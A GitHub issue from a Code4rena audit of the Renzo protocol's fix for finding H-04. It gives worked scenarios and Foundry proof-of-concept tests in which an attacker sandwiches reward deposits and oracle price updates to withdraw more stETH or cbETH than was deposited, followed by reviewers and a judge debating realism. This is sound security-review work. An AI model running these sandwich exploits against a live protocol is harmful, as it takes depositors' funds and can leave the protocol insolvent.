code-423n4 / 2024-06-renzo-mitigation-findings

0 stars 0 forks source link

H-04 Unmitigated #37

Closed c4-bot-1 closed 3 weeks ago

c4-bot-1 commented 4 weeks ago

Lines of code

https://github.com/code-423n4/2024-04-renzo/blob/main/contracts/Withdraw/WithdrawQueue.sol#L220-L224

Vulnerability details

Original Vulnerability

The original vulnerability report described a generic issue in the protocol due to the usage of oracles to calculate the mint and redeem exchange rates for ezETH. The root cause was the fact that the exchange rate for deposits/withdrawals was calculated on the spot based on oracle prices and the current amount of assets in the protocol, without any additional fees.

The report described 3 different scenarios in which oracle prices were exploited to extract value from the protocol.

The exploitation of changes in the amount of collateral in the protocol in a similar manner (e.g. by sandwiching protocol reward deposits) was not explicitly mentioned in the report, but can be seen as sharing a common root cause as described above.

It is worth pointing out that a large amount of findings were duplicated under this finding as per the judge's criteria of a common root cause being "the pricing of assets upon withdrawal, which are only actually converted upon claiming".

This is quite different from the root cause highlighted in the original report and so it is hard to say what the appropriate mitigation should have been.

We will assume the issue being mitigated here is the primary finding.

Mitigation

The recommended mitigation of giving users the worse exchange rate between that calculated at the time of withdrawal initiation and at the time of claiming was applied in PR #111.

An additional suggestion to implement "a rate limit or a short delay on deposits with similar protection" was not implemented. Also worth noting is that the lack of fees on deposits/withdrawals was cited as a concern multiple times in the original report, but was not suggested nor implemented as a mitigation.

Analysis

The implemented mitigation does not protect against scenario 1, which is still possible exactly as originally described with the added risk that if the price of ezETH drops, the attacker may suffer a loss (unrelated to the arbitrage) on claiming. Since Renzo is designed such that the price of ezETH is generally increasing, the attack can be assumed to still be profitable.

Furthermore, while it protects against short-term oracle price manipulation as described in scenario 2 of the original report, the same attack is possible if the manipulation is carried out both at the time of withdrawal initiation and at the time of claiming. While this increases the cost of the attack, it remains viable.

It also does not fully protect against scenario 3, since while the arbitrageur will take a loss on claiming due to the ezETH price decreasing;


PoC 1 - Protocol rewards can still be sandwiched for profit

Proof of concept #1 - Find the coded version below
1. Assume the stETH<->ezETH exchange rate is 1:1 and the TVL is 1000 stETH. 2. Attacker observes that 10 ETH in rewards will go into the protocol, so he front-runs that by depositing 100 stETH and getting 100 ezETH in return. The function `calculateMintAmount()` will be called with the following arguments: 1. `_currentValueInProtocol` -> 1000e18 2. `_newValueAdded` -> 100e18 3. `_existingEzETHSupply` -> 1000e18 4. It will return `100e18`, which will be the amount of ezETH that the attacker will be minted/given. 3. The totalTVL will be increased by 100 stETH. So it'll be 1100 stETH now. 4. The protocol receives a 100 ETH reward from EigenLayer. This increases the TVL to 1200e18. 5. The new stETH<->ezETH exchange rate is 1.2:1.1. For 1 ezETH you can now withdraw ~1.09 stETH. 6. Attacker completes the sandwich by requesting a withdrawal of his deposited 100 stETH and ends up receiving 109.09 stETH due to the inflation caused by the rewards being dumped to the protocol's TVL directly. The function `calculateRedeemAmount()` will be called with the following arguments: 1. `_ezETHBeingBurned` -> 100e18 2. `_existingEzETHSupply` -> 1100e18 (1000 + the 100 ezETH which are transferred to the withdrawal queue to be burnt) 3. `_currentValueInProtocol` -> 1200e18 (Total TVL) 4. It will return 109.09 stETH. So the attacker will be walking away with 9.09 more stETH than he is supposed to. 7. Attacker profits 9.09 stETH from the sandwich attack, and the other users won't be able to withdraw all of their stETH (insolvency).

PoC 2 - Asset price increase oracle updates can be sandwiched for profit and cause protocol insolvency

Proof of concept #2 - Find the coded version below
1. Assuming that there is a totalTVL of 310 (200 stETH + 10 cbETH). Alice & Bob deposited 100 stETH each, and Adam deposited 10 cbETH 2. An attacker observes an oracle update that increases `stETH`'s price by 10%, so he decided to front-run it with a 100 `cbETH` deposit. 3. The attacker completes the sandwich by requesting a withdrawal of his deposited 100 `cbETH`. 4. When the attacker claims his cbETH withdrawal, two things will happen as a result: 1. The attacker will walk out with 106.45 cbETH, not 100 cbETH. That's a profit of 6.45 cbETH 2. Since the protocol gave the attacker extra 6.45 cbETH, an insolvency will occur. If adam tries to withdraw his 10 cbETH, a revert will happen (demonstrated in coded PoC)

Coded PoCs

The following test file contain two PoCs. test_PoC_1_RewardsTVLInflation() demonstrates the rewards sandwich attack, and testFail_PoC_2_OracleUpdateSandwich() demonstrates the oracle sandwich attack.

The PoC file can be run in Foundry by using the setup and mock infra provided here -> https://gist.github.com/3docSec/a4bc6254f709a6218907a3de370ae84e

PoC file
```solidity pragma solidity ^0.8.19; import "contracts/Errors/Errors.sol"; import "./Setup.sol"; import "forge-std/console.sol"; contract MR2 is Setup { address public alice = address(0x8fc0684616437378809443D09a9f423ebc0c3762); address public bob = address(0xCCf0B9913A33D0bF15063EBA7EBEC94cb8D25baa); address public adam = address(0x1F5debE8b6a660BDA658Fc8A558AD9901D27C897); address payable public jack = payable(address(0x5AdE3D5c4B61F0D569d364eadb44E4983CbAe679)); address public attacker = address(0xF77d0da2220966eb570385dF43732D9e0ff2974B); function configureBalancesAndApprovals() public { stETH.mint(alice, 100e18); stETH.mint(bob, 100e18); cbETH.mint(jack, 100e18); cbETH.mint(adam, 50e18); // ---- Required restakeManager approvals ---- vm.startPrank(alice); stETH.approve(address(restakeManager), 100e18); vm.startPrank(bob); stETH.approve(address(restakeManager), 100e18); vm.startPrank(jack); cbETH.approve(address(restakeManager), 100e18); vm.startPrank(adam); cbETH.approve(address(restakeManager), 50e18); } function configureWithdrawBuffersAndOracles() public { // --------- INITIAL CONFIGURATION --------- // We set the buffer to something reasonably high. WithdrawQueueStorageV1.TokenWithdrawBuffer[] memory buffers = new WithdrawQueueStorageV1.TokenWithdrawBuffer[](2); buffers[0] = WithdrawQueueStorageV1.TokenWithdrawBuffer( address(stETH), 400e18// bufferAmount ); buffers[1] = WithdrawQueueStorageV1.TokenWithdrawBuffer( address(cbETH), 400e18// bufferAmount ); vm.startPrank(OWNER); withdrawQueue.updateWithdrawBufferTarget(buffers); // we'll be using stETH & cbETH. stEthPriceOracle.setAnswer(1e18); cbEthPriceOracle.setAnswer(1e18); } function test_PoC_1_RewardsTVLInflation() public { configureWithdrawBuffersAndOracles(); // confirmation we are starting with 0 TVL (, , uint tvl) = restakeManager.calculateTVLs(); assertEq(0, tvl); // Alice deposits a total of 1000 stETH, so now the total TVL will be 1000 stETH vm.startPrank(alice); stETH.mint(alice, 1000e18); stETH.approve(address(restakeManager), 1000e18); restakeManager.deposit(IERC20(address(stETH)), 1000e18); vm.stopPrank(); (, , tvl) = restakeManager.calculateTVLs(); assertEq(1000e18, tvl); // We now have a total TVL of 1,000e18 // ------------- Rewards sandwich attack ------------- // Attacker front-runs the rewards going in the application, and deposits a 100 stETH vm.startPrank(attacker); stETH.mint(attacker, 100e18); stETH.approve(address(restakeManager), 100e18); restakeManager.deposit(IERC20(address(stETH)), 100e18); vm.stopPrank(); (, , tvl) = restakeManager.calculateTVLs(); assertEq(1100e18, tvl); // We now have a total TVL of 1,100e18 // 100 ETH rewards flow into the protocol address(depositQueue).call{value: 100 ether}(""); (, , tvl) = restakeManager.calculateTVLs(); assertEq(1200e18, tvl); // We now have a total TVL of 1,200e18 // Attacker completes the sandwich by requesting a withdrawal, waiting, then claiming. vm.startPrank(attacker); ezETH.approve(address(withdrawQueue), ezETH.balanceOf(attacker)); withdrawQueue.withdraw(ezETH.balanceOf(attacker), address(stETH)); vm.warp(block.timestamp + 10 days); withdrawQueue.claim(0); // Attacker after claiming now has a balance of 109 stETH, so he made over 9 stETH in profit! assertGt(stETH.balanceOf(attacker), 109e18); } function testFail_PoC_2_OracleUpdateSandwich() public { configureWithdrawBuffersAndOracles(); // confirmation we are starting with 0 TVL (, , uint tvl) = restakeManager.calculateTVLs(); assertEq(0, tvl); // Mint alice & bob stETH and approve the restakeManager to spend them configureBalancesAndApprovals(); vm.startPrank(bob); restakeManager.deposit(IERC20(address(stETH)), 100e18); vm.stopPrank(); vm.startPrank(alice); restakeManager.deposit(IERC20(address(stETH)), 100e18); vm.stopPrank(); vm.startPrank(adam); restakeManager.deposit(IERC20(address(cbETH)), 10e18); vm.stopPrank(); // --------- Exploit --------- // jack (attacker) front-runs oracle update with a 100 cbETH deposit vm.startPrank(jack); restakeManager.deposit(IERC20(address(cbETH)), 100e18); vm.stopPrank(); // stETH price increases by 10% stEthPriceOracle.setAnswer(1e18+1.0e17); // -------- Attacker requests a withdrawal and claims his cbETH funds -------- // Jack (attacker) walks away with extra 6.45 cbETH vm.startPrank(jack); ezETH.approve(address(withdrawQueue), ezETH.balanceOf(jack)); withdrawQueue.withdraw(ezETH.balanceOf(jack), address(cbETH)); vm.stopPrank(); // Skip withdrawal wait window vm.warp(block.timestamp + 10 days); vm.startPrank(jack); withdrawQueue.claim(0); // Jack will claim 106.45 cbETH instead of the 100 cbETH he should've gotten! vm.stopPrank(); // Jack now has 106.45 more cbETH on top of his initially deposited 100 cbETH uint256 jacksCurrentCbETHBalance = cbETH.balanceOf(jack); assertGt(jacksCurrentCbETHBalance, 100e18 + 4.45e18); // -------- Adam trying to withdraw & claim his cbETH funds -------- vm.startPrank(adam); ezETH.approve(address(withdrawQueue), ezETH.balanceOf(adam)); withdrawQueue.withdraw(ezETH.balanceOf(adam), address(cbETH)); // Skip withdrawal wait window vm.warp(block.timestamp + 10 days); // This call will fail because the protocol won't have enough funds to pay adam his share of cbETH withdrawQueue.claim(0); } } ```

Recommendation

The applied mitigation does offer some protection against exploits stemming from oracle price fluctuations and/or manipulation.

However, it does not fully protect against any of these scenarios as argued above and introduces complexity in the ezETH mint/redeem exchange rate calculation (see mitigation discussion in separate finding on calling WithdrawQueue.claim()).

We recommend introducing a simple fee on withdrawals, which would mitigate scenario 1 except for cases of extreme price swings as well as protocol reward sandwiching, and further disincentivize scenario 3.

Moreover, we recommend adapting the mitigation to not give users the "worst-of" price on withdrawals but simply calculate the redeem rate only on claiming. While this does open the door to scenario-2-type-of attacks on claiming, we believe the risk of these attacks is minimal as manipulating the price of a multibillion LST token is an unlikely enterprise. Besides, the potential damage would be capped to the availableToWithdraw amount of an asset in the WithdrawQueue, which would in all likelihood be lower than the costs of the attack.

This would also allow users to continue accruing rewards during the withdrawal period and fully mitigate the issue of claim() affecting the ezETH rate.

Assessed type

MEV

c4-judge commented 3 weeks ago

alcueca marked the issue as nullified

alcueca commented 3 weeks ago

Allow me to use realistic numbers on PoC 1:

  1. Renzo’s TVL is around 1000000 in stETH terms.
  2. I doubt that rewards of a full 1% of the TVL will be that common, as that would mean a gigantic APR for Renzo, let’s say the reward is 0.1% - 1000 ETH.
  3. The attacker needs to deposit their assets for a week, with some duration risk. This is not a flash loan, so let’s say this is an incredibly well funded attacker and has $100M at their disposal - 30000 stETH. The attacker has 3000 ezETH.
  4. The total TVL is 1031000 stETH now
  5. The protocol receives a second reward (nice!), but I doubt that it will be for a 1% of the protocol again. That would be a really nice APR if they are getting more than 0.2% per week. so let’s say that the reward is again for 0.1%, another 1000 ETH. The TVL is now 1003200 stETH.
  6. The new stETH <-> ezETH exchange is 1.0032 / 1.0030 ~= 1.0002
  7. The attacker can now withdraw their deposit at a 2 bps profit, but their assets will be locked for a week without accruing value, losing 2 to 4 bps. They are also bearing the risk that the protocol will lose value during that time, and that their claim will be revised downwards.

Would you now please do PoC 2 but with realistic numbers? That would be a $3.7B TVL, a 1% oracle swing, and a maximum of a $100M deposit. Take into account that the deposit will be locked for a week in the withdrawal queue without accruing value, losing about 2-4 bps in the process. Consider as well that the value of the withdrawal will be revised down on claiming.

0xEVom commented 3 weeks ago

For POC 2, assuming the entire TVL is increased by 1% (unrealistic, but feel free to scale the final number accordingly), depositing and immediately withdrawing would simply net a profit of 1% or $1m. The TVL calculation is done based on the oracle price, which is 1% lower when depositing than when withdrawing.

There is no devaluation of the TVL, so no revising on claiming will happen.

Note that we're not claiming a new vulnerability here - our POCs are entirely supplementary and the vulnerability exists exactly as described in the original finding (or in any case scenarios 1 and to a large extent 3).

s1n1st3r01 commented 3 weeks ago

Hey @alcueca

As requested, I created a PoC with the following properties (values you've requested):

  1. A total TVL of 3.7 billion USD (1,045,702 cbETH & stETH, assuming 1:1 exchange rate w/ ETH)
  2. Attacker attempting to deposit 28,451 cbETH (100m USD assuming 1:1 exchange rate w/ ETH)
  3. Less than 3% of total TVL is in withdraw buffer.
  4. 1% stETH price increase

Regarding the exploit:

  1. The attacker sandwiches the 1% stETH price increase with a 28,451 cbETH deposit & withdrawal, then comes out with 28,635.6 cbETH as a result (that's a profit of 184.6 cbETH). That's almost a profit of ~0.7% extra cbETH.
  2. Assuming we're losing 4 bps while funds are locked during withdrawal wait-time, that's a loss of 11.38 cbETH. If we subtract that from the profit, we still have a profit of 173.22 cbETH. Which is a profit of 0.61%
Proof of concept
```solidity pragma solidity ^0.8.19; import "contracts/Errors/Errors.sol"; import "./Setup.sol"; import "forge-std/console.sol"; contract H3 is Setup { function configureWithdrawBuffersAndOracles() public { // --------- INITIAL CONFIGURATION --------- // We set the buffer to something reasonably high. WithdrawQueueStorageV1.TokenWithdrawBuffer[] memory buffers = new WithdrawQueueStorageV1.TokenWithdrawBuffer[](2); buffers[0] = WithdrawQueueStorageV1.TokenWithdrawBuffer( address(stETH), 400e18// bufferAmount ); buffers[1] = WithdrawQueueStorageV1.TokenWithdrawBuffer( address(cbETH), 30000e18// bufferAmount ); vm.startPrank(OWNER); withdrawQueue.updateWithdrawBufferTarget(buffers); // we'll be using stETH & cbETH. stEthPriceOracle.setAnswer(1e18); cbEthPriceOracle.setAnswer(1e18); } function test_PoC_2_OracleUpdateSandwich() public { configureWithdrawBuffersAndOracles(); address bob = 0xadA71339C7F259c644d94B67F30d15f109CCcB95; address alice = 0xED1B67c6Ff658Be5E5FAF9efAd0D42596dAAD52A; address adam = 0xfd013f823ff6776B8d733740854c750A70E0D06B; address attacker = 0xBF861A909Ba0b38f2346d87B56C91945c235dA27; // Give bob 348,534 stETH (1,227,170,787 USD) stETH.mint(bob, 348534e18); vm.startPrank(bob); stETH.approve(address(restakeManager), 348534e18); // Give bob 348,534 stETH (1,227,170,787 USD) stETH.mint(alice, 348534e18); vm.startPrank(alice); stETH.approve(address(restakeManager), 348534e18); // Give bob 348,534 cbETH (1,227,170,787 USD) cbETH.mint(adam, 348534e18); vm.startPrank(adam); cbETH.approve(address(restakeManager), 348534e18); // Give the attacker 28,451 cbETH (100m$ assuming 1:1 exchange rate with ETH) cbETH.mint(attacker, 28451e18); vm.startPrank(attacker); cbETH.approve(address(restakeManager), 28451e18); // We haven't yet done any deposits, confirming we're starting with a TVL of 0. (, , uint tvl) = restakeManager.calculateTVLs(); assertEq(0, tvl); vm.startPrank(bob); restakeManager.deposit(IERC20(address(stETH)), 348534e18); vm.startPrank(alice); restakeManager.deposit(IERC20(address(stETH)), 348534e18); vm.startPrank(adam); restakeManager.deposit(IERC20(address(cbETH)), 348534e18); // Confirming we have a total TVL of 1,045,702 cbETH/stETH (~3.7 billion $ TVL) (, , tvl) = restakeManager.calculateTVLs(); assertEq(1045602e18, tvl); // --------- Exploit --------- // Attacker front-runs oracle update (stETH 1% price increase) with a 28,451 cbETH deposit vm.startPrank(attacker); restakeManager.deposit(IERC20(address(cbETH)), 28451e18); // stETH price increases by 1% stEthPriceOracle.setAnswer(1.01e18); // -------- Attacker requests a withdrawal and claims his cbETH funds -------- // Attacker requests a withdrawal of cbETH vm.startPrank(attacker); ezETH.approve(address(withdrawQueue), ezETH.balanceOf(attacker)); withdrawQueue.withdraw(ezETH.balanceOf(attacker), address(cbETH)); // Skip withdrawal wait window vm.warp(block.timestamp + 10 days); withdrawQueue.claim(0); // attacker will claim 28,635.6 cbETH instead of the 28,451 cbETH he should initially deposited! (184.6 cbETH profit) vm.stopPrank(); // attacker now has 184.6 more cbETH on top of his initially deposited 28451 cbETH uint256 attackersCurrentCbETHBalance = cbETH.balanceOf(attacker); assertGt(attackersCurrentCbETHBalance, 28451e18 + 184.6e18); } } ```
0xCiphky commented 3 weeks ago

I still don’t think this is a realistic scenario, and here’s why:

As you mentioned in your comments on #35, this situation shares similarities in that, firstly, most hackers would be unable to exploit it significantly due to the necessary preconditions. Secondly, the withdrawal period heavily impacts the success rate of the attack, influencing both the amount an attacker is willing to risk and whether the attack is even worthwhile.

s1n1st3r01 commented 3 weeks ago

Firstly, the POC involves using $100 million for the exploit

This was done based on a request from the judge, profit can be generated with a single million or tens of thousands (as previously shown).

The POC assumes a 1% upward price swing. However, it’s equally realistic to assume the price could trend downward by the same amount or more during the lockup period.

The attacker chooses when to claim his funds once the lockup period is over. Assuming there was a 1% downward swing during or after the lockup period, the attacker can just wait and claim his withdrawal when there is a 1% upward swing instead (after lockup period, obviously). Given that 1% price increases aren't rare, I don't see that being an obstacle either.

As you mentioned in your comments on https://github.com/code-423n4/2024-06-renzo-mitigation-findings/issues/35, this situation shares similarities in that, firstly, most hackers would be unable to exploit it significantly due to the necessary preconditions.

This doesn't make any sense. Firstly, this bug is incomparable to #35, and secondly, the only pre-condition necessary in this PoC is the 1% asset price increase (which isn't rare as I said), and nothing else.


Not sure what you're trying to argue here. I'll refrain from putting further comments on this issue.

0xCiphky commented 3 weeks ago

First off, i'd rather we keep our discussion civil and avoid any sly remarks in the comments.

This action was carried out based on the judge's request. Profit can be generated with either a single million or tens of thousands, as previously demonstrated.

I acknowledge this and have provided the following information to the judge to reconsider what would be a realistic amount, given the circumstances, to create an actual impact.

The attacker can choose when to claim their funds once the lockup period is over. If there is a 1% downward swing during or after the lockup period, the attacker can wait and claim their withdrawal when there is a 1% upward swing instead (after the lockup period, of course).

Exactly my point. The success of the attack path is based purely on hypotheticals and there is no realistic control over the success rate. If there is a downward swing, the attacker either exits with no profit, a loss or, as s1n1st3r0 mentions, waits an indefinite amount of time for the price to recover.

This argument doesn't make sense. First, this bug is not comparable to #35. Second, the only precondition necessary in this proof of concept is a 1% asset price increase and nothing else.

How are they not comparable? Both cases heavily rely on the assumption that there will be no significant price swings during the withdrawal period for the attack to be profitable. I have already mentioned the preconditions above and would prefer not to argue about this anymore with you.

alcueca commented 3 weeks ago

At this point, I'm satisfied that the arbitrage opportunities have been sufficiently mitigated.